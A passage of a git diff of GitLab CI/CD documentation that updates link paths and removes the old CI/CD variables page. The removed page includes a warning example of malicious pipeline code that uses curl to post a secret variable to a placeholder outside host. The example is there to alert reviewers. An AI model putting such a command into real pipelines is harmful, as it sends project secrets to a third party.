-or [`rules`](yaml/README.md#rules) defined for the job. If it didn't run, it's probably
+GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/index.md#only--except)
+or [`rules`](yaml/index.md#rules) defined for the job. If it didn't run, it's probably
not evaluating as you expect.
#### No pipeline or the wrong type of pipeline runs
@@ -141,7 +141,7 @@ be checked to make sure the jobs are added to the correct pipeline type. For
example, if a merge request pipeline did not run, the jobs may have been added to
a branch pipeline instead.
-It's also possible that your [`workflow: rules`](yaml/README.md#workflow) configuration
+It's also possible that your [`workflow: rules`](yaml/index.md#workflow) configuration
blocked the pipeline, or allowed the wrong pipeline type.
### A job runs unexpectedly
@@ -150,8 +150,8 @@ A common reason a job is added to a pipeline unexpectedly is because the `change
keyword always evaluates to true in certain cases. For example, `changes` is always
true in certain pipeline types, including scheduled pipelines and pipelines for tags.
-The `changes` keyword is used in combination with [`only/except`](yaml/README.md#onlychanges--exceptchanges)
-or [`rules`](yaml/README.md#ruleschanges)). It's recommended to use `changes` with
+The `changes` keyword is used in combination with [`only/except`](yaml/index.md#onlychanges--exceptchanges)
+or [`rules`](yaml/index.md#ruleschanges)). It's recommended to use `changes` with
`rules` or `only/except` configuration that ensures the job is only added to branch
pipelines or merge request pipelines.
@@ -170,8 +170,8 @@ a branch to its remote repository. To illustrate the problem, suppose you've had
This is because the previous pipeline cannot find a checkout-SHA (which is associated with the pipeline record)
from the `example` branch that the commit history has already been overwritten by the force-push.
-Similarly, [Pipelines for merged results](merge_request_pipelines/pipelines_for_merged_results/index.md)
-might have failed intermittently due to [the same reason](merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error).
+Similarly, [Pipelines for merged results](pipelines/pipelines_for_merged_results.md)
+might have failed intermittently due to [the same reason](pipelines/pipelines_for_merged_results.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error).
As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively.
To illustrate its life cycle:
@@ -211,7 +211,7 @@ is displayed.
If the pipeline is still running, the **Merge** button is replaced with the
**Merge when pipeline succeeds** button.
-If [**Merge Trains**](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
+If [**Merge Trains**](pipelines/merge_trains.md)
are enabled, the button is either **Add to merge train** or **Add to merge train when pipeline succeeds**. **(PREMIUM)**
#### "A CI/CD pipeline must run and be successful before merge" message
@@ -224,9 +224,9 @@ should disable **Pipelines must succeed** so you can accept merge requests.
### "The pipeline for this merge request did not complete. Push a new commit to fix the failure or check the troubleshooting documentation to see other possible actions." message
-This message is shown if the [merge request pipeline](merge_request_pipelines/index.md),
-[merged results pipeline](merge_request_pipelines/pipelines_for_merged_results/index.md),
-or [merge train pipeline](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
+This message is shown if the [merge request pipeline](pipelines/merge_request_pipelines.md),
+[merged results pipeline](pipelines/pipelines_for_merged_results.md),
+or [merge train pipeline](pipelines/merge_trains.md)
has failed or been canceled.
If a merge request pipeline or merged result pipeline was canceled or failed, you can:
@@ -249,17 +249,17 @@ If the merge train pipeline was canceled before the merge request was merged, wi
Pipeline configuration warnings are shown when you:
-- [Validate configuration with the CI Lint tool](yaml/README.md).
+- [Validate configuration with the CI Lint tool](yaml/index.md).
- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually).
### "Job may allow multiple pipelines to run for a single action" warning
-When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `if:`
+When you use [`rules`](yaml/index.md#rules) with a `when:` clause without an `if:`
clause, multiple pipelines may run. Usually this occurs when you push a commit to
a branch that has an open merge request associated with it.
To [prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines), use
-[`workflow: rules`](yaml/README.md#workflow) or rewrite your rules to control
+[`workflow: rules`](yaml/index.md#workflow) or rewrite your rules to control
which pipelines can run.
### Console workaround if job using resource_group gets stuck
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
index 7b5f6b5167d..f845c79ef45 100644
--- a/doc/ci/unit_test_reports.md
+++ b/doc/ci/unit_test_reports.md
@@ -40,8 +40,8 @@ Consider the following workflow:
## How it works
-First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
-as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
+First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format)
+as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
comparing the head and base branch's JUnit report format XML files, where:
- The base branch is the target branch (usually the default branch).
@@ -77,7 +77,7 @@ If a test failed in the project's default branch in the last 14 days, a message
## How to set it up
To enable the Unit test reports in merge requests, you need to add
-[`artifacts:reports:junit`](yaml/README.md#artifactsreportsjunit)
+[`artifacts:reports:junit`](yaml/index.md#artifactsreportsjunit)
in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports.
The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575).
@@ -87,8 +87,8 @@ XML reports are stored in GitLab as artifacts and their results are shown in the
merge request widget.
To make the Unit test report output files browsable, include them with the
-[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example).
-To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/README.md#artifactswhen)
+[`artifacts:paths`](yaml/index.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example).
+To upload the report even if the job fails (for example if the tests do not pass), use the [`artifacts:when:always`](yaml/index.md#artifactswhen)
keyword.
You cannot have multiple tests with the same name and class in your JUnit report format XML file.
@@ -350,12 +350,17 @@ If parsing JUnit report XML results in an error, an indicator is shown next to t
![Test Reports With Errors](img/pipelines_junit_test_report_with_errors_v13_10.png)
+NOTE:
+GitLab.com has a 500,000 [test case parsing limit](../user/gitlab_com/#gitlab-cicd). Self-managed administrators can manage this setting on their instance.
+
+GitLab does not parse very [large nodes](https://nokogiri.org/tutorials/parsing_an_html_xml_document.html#parse-options) of JUnit reports. There is [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/268035) open to make this optional.
+
## Viewing JUnit screenshots on GitLab
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0 behind the `:junit_pipeline_screenshots_view` feature flag, disabled by default.
> - The feature flag was removed and was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216979) in GitLab 13.12.
-Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. If JUnit
+Upload your screenshots as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. If JUnit
report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that:
- The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For
@@ -368,7 +373,7 @@ report format XML files contain an `attachment` tag, GitLab parses the attachmen
```
- You should set the job that uploads the screenshot to
- [`artifacts:when: always`](yaml/README.md#artifactswhen) so that it still uploads a screenshot
+ [`artifacts:when: always`](yaml/index.md#artifactswhen) so that it still uploads a screenshot
when a test fails.
A link to the test case attachment appears in the test case details in
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 1db2d0dd888..5ab8653dc35 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -1,815 +1,8 @@
---
-stage: Verify
-group: Pipeline Authoring
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: 'index.md'
---
-# GitLab CI/CD variables **(FREE)**
+This document was moved to [another location](index.md).
-CI/CD variables are a type of environment variable. You can use them to:
-
-- Control the behavior of jobs and [pipelines](../pipelines/index.md).
-- Store values you want to re-use.
-- Avoid hard-coding values in your `.gitlab-ci.yml` file.
-
-You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
-
-- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
-- [Project CI/CD variables](#add-a-cicd-variable-to-a-project).
-- [Group CI/CD variables](#add-a-cicd-variable-to-a-group).
-- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance).
-
-> For more information about advanced use of GitLab CI/CD:
->
-> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
-> shared by GitLab engineers.
-> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
-> of managing projects across many cloud providers with GitLab CI/CD.
-
-## Predefined CI/CD variables
-
-GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
-you can use in pipelines configuration and job scripts.
-
-### Use predefined CI/CD variables
-
-You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
-
-This example shows how to output a job's stage by using the `CI_JOB_STAGE`
-predefined variable:
-
-```yaml
-test_variable:
- stage: test
- script:
- - echo "$CI_JOB_STAGE"
-```
-
-The script outputs the `stage` for the `test_variable`, which is `test`:
-
-![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
-
-## Custom CI/CD variables
-
-You can create custom CI/CD variables:
-
-- For a project:
- - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- - [In the project's settings](#add-a-cicd-variable-to-a-project).
- - [With the API](../../api/project_level_variables.md).
-- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
-- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
-
-You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
-or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-
-There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
-
-Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
-to execute scripts. Each shell has its own set of reserved variable names.
-
-Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
-
-### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
-
-To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
-define the variable and value with `variables` keyword.
-
-You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
-If the variable is at the top level, it's globally available and all jobs can use it.
-If it's defined in a job, only that job can use it.
-
-```yaml
-variables:
- TEST_VAR: "All jobs can use this variable's value"
-
-job1:
- variables:
- TEST_VAR_JOB: "Only job1 can use this variable's value"
- script:
- - echo "$TEST_VAR" and "$TEST_VAR_JOB"
-```
-
-Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
-configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
-visible in the repository. Store sensitive variables containing secrets, keys, and so on
-in project settings.
-
-Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
-
-If you don't want globally defined variables to be available in a job, set `variables`
-to `{}`:
-
-```yaml
-job1:
- variables: {}
- script:
- - echo This job does not need any variables
-```
-
-You can use variables to help define other variables. Use `$$` to ignore a variable
-name inside another variable:
-
-```yaml
-variables:
- FLAGS: '-al'
- LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
-script:
- - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'
-```
-
-Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
-keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
-for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
-
-### Add a CI/CD variable to a project
-
-You can add CI/CD variables to a project's settings. Only project members with the
-[Maintainer role](../../user/permissions.md#project-members-permissions)
-can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
-in the project settings, not in the `.gitlab-ci.yml` file.
-
-To add or update variables in the project settings:
-
-1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
-1. Select the **Add Variable** button and fill in the details:
-
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: No limitations.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- - **Protect variable** (Optional): If selected, the variable is only available
- in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked
- in job logs. The variable fails to save if the value does not meet the
- [masking requirements](#mask-a-cicd-variable).
-
-After you create a variable, you can use it in the `.gitlab-ci.yml` file:
-
-```yaml
-test_variable:
- stage: test
- script:
- - echo "$CI_JOB_STAGE" # calls a predefined variable
- - echo "$TEST" # calls a custom variable of type `env_var`
- - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file
- - cat "$GREETING" # the temp file itself contains the variable value
-```
-
-The output is:
-
-![Output custom variable](img/custom_variables_output.png)
-
-### Add a CI/CD variable to a group
-
-> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
-
-To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
-
-Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
-
-- Do **not** use an external key store.
-- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-
-To add a group variable:
-
-1. In the group, go to **Settings > CI/CD**.
-1. Select the **Add Variable** button and fill in the details:
-
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: No limitations.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- - **Protect variable** (Optional): If selected, the variable is only available
- in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked
- in job logs. The variable fails to save if the value does not meet the
- [masking requirements](#mask-a-cicd-variable).
-
-#### View all group-level variables available in a project
-
-To view all the group-level variables available in a project:
-
-1. In the project, go to **Settings > CI/CD**.
-1. Expand the **Variables** section.
-
-Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
-inherited.
-
-![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-
-### Add a CI/CD variable to an instance **(FREE SELF)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
-
-To make a CI/CD variable available to all projects and groups in a GitLab instance,
-add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md).
-
-You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
-
-To add an instance variable:
-
-1. On the top bar, select **Menu >** **{admin}** **Admin**.
-1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section.
-1. Select the **Add variable** button, and fill in the details:
-
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
- 10,000 characters is allowed. This is also bounded by the limits of the selected
- runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
- - **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Protect variable** (Optional): If selected, the variable is only available
- in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
- in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
-
-### CI/CD variable types
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-
-All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
-are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
-or `File` type.
-
-`Variable` type variables:
-
-- Consist of a key and value pair.
-- Are made available in jobs as environment variables, with:
- - The CI/CD variable key as the environment variable name.
- - The CI/CD variable value as the environment variable value.
-
-Use `File` type CI/CD variables for tools that need a file as input.
-
-`File` type variables:
-
-- Consist of a key, value and file.
-- Are made available in jobs as environment variables, with
- - The CI/CD variable key as the environment variable name.
- - The CI/CD variable value saved to a temporary file.
- - The path to the temporary file as the environment variable value.
-
-Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
-and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
-use `File` type variables for configuration.
-
-For example, if you have the following variables:
-
-- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
-- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
-
-Use the variables in a job script like this:
-
-```shell
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
-```
-
-An alternative to `File` type variables is to:
-
-- Read the value of a CI/CD variable (`variable` type).
-- Save the value in a file.
-- Use that file in your script.
-
-```shell
-# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
-echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
-# Pass the newly created file to kubectl
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
-```
-
-### Mask a CI/CD variable
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
-
-You can mask a project, group, or instance CI/CD variable so the value of the variable
-does not display in job logs.
-
-To mask a variable:
-
-1. In the project, group, or Admin Area, go to **Settings > CI/CD**.
-1. Expand the **Variables** section.
-1. Next to the variable you want to protect, select **Edit**.
-1. Select the **Mask variable** check box.
-1. Select **Update variable**.
-
-The value of the variable must:
-
-- Be a single line.
-- Be 8 characters or longer, consisting only of:
- - Characters from the Base64 alphabet (RFC4648).
- - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
- - The `~` character ([In GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61517) and later).
-- Not match the name of an existing predefined or custom CI/CD variable.
-
-### Protect a CI/CD variable
-
-You can protect a project, group or instance CI/CD variable so it is only passed
-to pipelines running on [protected branches](../../user/project/protected_branches.md)
-or [protected tags](../../user/project/protected_tags.md).
-
-To protect a variable:
-
-1. Go to **Settings > CI/CD** in the project, group or instance admin area.
-1. Expand the **Variables** section.
-1. Next to the variable you want to protect, select **Edit**.
-1. Select the **Protect variable** check box.
-1. Select **Update variable**.
-
-The variable is available for all subsequent pipelines.
-
-### CI/CD variable security
-
-Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
-and send them to a third party server regardless of the masked setting. If the pipeline
-runs on a [protected branch](../../user/project/protected_branches.md) or
-[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
-
-Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
-
-- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
-- Merge the changes.
-
-The following example shows malicious code in a `.gitlab-ci.yml` file:
-
-```yaml
-build:
- script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
-```
-
-Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
-and stored in the database. This data can only be read and decrypted with a
-valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
-
-### Custom variables validated by GitLab
-
-Some variables are listed in the UI so you can choose them more quickly.
-
-| Variable | Allowed Values | Introduced in |
-|-------------------------|----------------------------------------------------|---------------|
-| `AWS_ACCESS_KEY_ID` | Any | 12.10 |
-| `AWS_DEFAULT_REGION` | Any | 12.10 |
-| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
-
-WARNING:
-When you store credentials, there are [security implications](#cicd-variable-security).
-If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-
-## Use CI/CD variables in job scripts
-
-All CI/CD variables are set as environment variables in the job's environment.
-You can use variables in job scripts with the standard formatting for each environment's
-shell.
-
-To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
-
-### Use variables with Bash, `sh` and similar
-
-To access environment variables in Bash, `sh`, and similar shells, prefix the
-CI/CD variable with (`$`):
-
-```yaml
-job_name:
- script:
- - echo "$CI_JOB_ID"
-```
-
-### Use variables with PowerShell
-
-To access variables in a Windows PowerShell environment, including environment
-variables set by the system, prefix the variable name with (`$env:`) or (`$`):
-
-```yaml
-job_name:
- script:
- - echo $env:CI_JOB_ID
- - echo $CI_JOB_ID
- - echo $env:PATH
-```
-
-In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
-environment variables might need to be surrounded by quotes to expand properly:
-
-```yaml
-job_name:
- script:
- - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
-```
-
-### Use variables with Windows Batch
-
-To access CI/CD variables in Windows Batch, surround the variable
-with `%`:
-
-```yaml
-job_name:
- script:
- - echo %CI_JOB_ID%
-```
-
-You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
-Delayed expansion might be needed for variables that contain white spaces or newlines.
-
-```yaml
-job_name:
- script:
- - echo !ERROR_MESSAGE!
-```
-
-### List all environment variables
-
-You can list all environment variables available to a script with the `export` command
-in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
-variables, which can be a [security risk](#cicd-variable-security).
-[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
-
-For example:
-
-```yaml
-job_name:
- script:
- - export
- # - 'dir env:' # Use this for PowerShell
-```
-
-Example job log output:
-
-```shell
-export CI_JOB_ID="50"
-export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
-export CI_COMMIT_SHORT_SHA="1ecfd275"
-export CI_COMMIT_REF_NAME="main"
-export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
-export CI_COMMIT_TAG="1.0.0"
-export CI_JOB_NAME="spec:other"
-export CI_JOB_STAGE="test"
-export CI_JOB_MANUAL="true"
-export CI_JOB_TRIGGERED="true"
-export CI_JOB_TOKEN="[masked]"
-export CI_PIPELINE_ID="1000"
-export CI_PIPELINE_IID="10"
-export CI_PAGES_DOMAIN="gitlab.io"
-export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
-export CI_PROJECT_ID="34"
-export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
-export CI_PROJECT_NAME="gitlab-foss"
-export CI_PROJECT_TITLE="GitLab FOSS"
-export CI_PROJECT_NAMESPACE="gitlab-org"
-export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
-export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
-export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
-export CI_REGISTRY="registry.example.com"
-export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
-export CI_REGISTRY_USER="gitlab-ci-token"
-export CI_REGISTRY_PASSWORD="[masked]"
-export CI_RUNNER_ID="10"
-export CI_RUNNER_DESCRIPTION="my runner"
-export CI_RUNNER_TAGS="docker, linux"
-export CI_SERVER="yes"
-export CI_SERVER_URL="https://example.com"
-export CI_SERVER_HOST="example.com"
-export CI_SERVER_PORT="443"
-export CI_SERVER_PROTOCOL="https"
-export CI_SERVER_NAME="GitLab"
-export CI_SERVER_REVISION="70606bf"
-export CI_SERVER_VERSION="8.9.0"
-export CI_SERVER_VERSION_MAJOR="8"
-export CI_SERVER_VERSION_MINOR="9"
-export CI_SERVER_VERSION_PATCH="0"
-export GITLAB_USER_EMAIL="user@example.com"
-export GITLAB_USER_ID="42"
-...
-```
-
-## Pass an environment variable to another job
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
-
-You can pass environment variables from one job to another job in a later stage.
-These variables cannot be used as CI/CD variables to configure a pipeline, but
-they can be used in job scripts.
-
-1. In the job script, save the variable as a `.env` file.
-1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv)
-artifact.
-1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies)
- or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords.
-1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
-
-For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword:
-
-```yaml
-build:
- stage: build
- script:
- - echo "BUILD_VERSION=hello" >> build.env
- artifacts:
- reports:
- dotenv: build.env
-
-deploy:
- stage: deploy
- script:
- - echo "$BUILD_VERSION" # Output is: 'hello'
- dependencies:
- - build
-```
-
-For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
-
-```yaml
-build:
- stage: build
- script:
- - echo "BUILD_VERSION=hello" >> build.env
- artifacts:
- reports:
- dotenv: build.env
-
-deploy:
- stage: deploy
- script:
- - echo "$BUILD_VERSION" # Output is: 'hello'
- needs:
- - job: build
- artifacts: true
-```
-
-## CI/CD variable precedence
-
-You can use CI/CD variables with the same name in different places, but the values
-can overwrite each other. The type of variable and where they are defined determines
-which variables take precedence.
-
-The order of precedence for variables is (from highest to lowest):
-
-1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables),
- [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
- and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
-1. Project [variables](#custom-cicd-variables).
-1. Group [variables](#add-a-cicd-variable-to-a-group).
-1. Instance [variables](#add-a-cicd-variable-to-an-instance).
-1. [Inherited variables](#pass-an-environment-variable-to-another-job).
-1. Variables defined in jobs in the `.gitlab-ci.yml` file.
-1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
-1. [Deployment variables](#deployment-variables).
-1. [Predefined variables](predefined_variables.md).
-
-In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
-Variables defined in jobs have a higher precedence than variables defined globally.
-
-```yaml
-variables:
- API_TOKEN: "default"
-
-job1:
- variables:
- API_TOKEN: "secure"
- script:
- - echo "The variable value is $API_TOKEN"
-```
-
-## Override a defined CI/CD variable
-
-You can override the value of a variable when you:
-
-1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
-1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
-1. Run a job manually in the UI.
-1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
-1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables).
-1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
-
-The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
-
-### Override a variable when running a pipeline manually
-
-You can override the value of a CI/CD variable when you
-[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
-
-1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
-1. Choose the branch you want to run the pipeline for.
-1. Input the variable and its value in the UI.
-
-### Restrict who can override variables
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
-
-You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
-with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
-error message.
-
-If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file),
-use this setting for control over the environment the pipeline runs in.
-
-You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
-to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
-
-## Limit the environment scope of a CI/CD variable
-
-By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a
-compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
-a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
-the environment scope of a variable. GitLab does this by
-[defining which environments and corresponding jobs](../environments/index.md)
-the variable can be available for.
-
-To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
-
-To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected
-branches or tags, see [Protect a CI/CD Variable](#protect-a-cicd-variable).
-
-## Deployment variables
-
-Integrations that are responsible for deployment configuration can define their own
-variables that are set in the build environment. These variables are only defined
-for [deployment jobs](../environments/index.md).
-
-For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables)
-defines deployment variables that you can use with the integration.
-
-The [documentation for each integration](../../user/project/integrations/overview.md)
-explains if the integration has any deployment variables available.
-
-## Auto DevOps environment variables
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
-
-You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
-to a running application.
-
-To make a CI/CD variable available as an environment variable in the running application's container,
-[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
-with `K8S_SECRET_`.
-
-CI/CD variables with multi-line values are not supported.
-
-## Debug logging
-
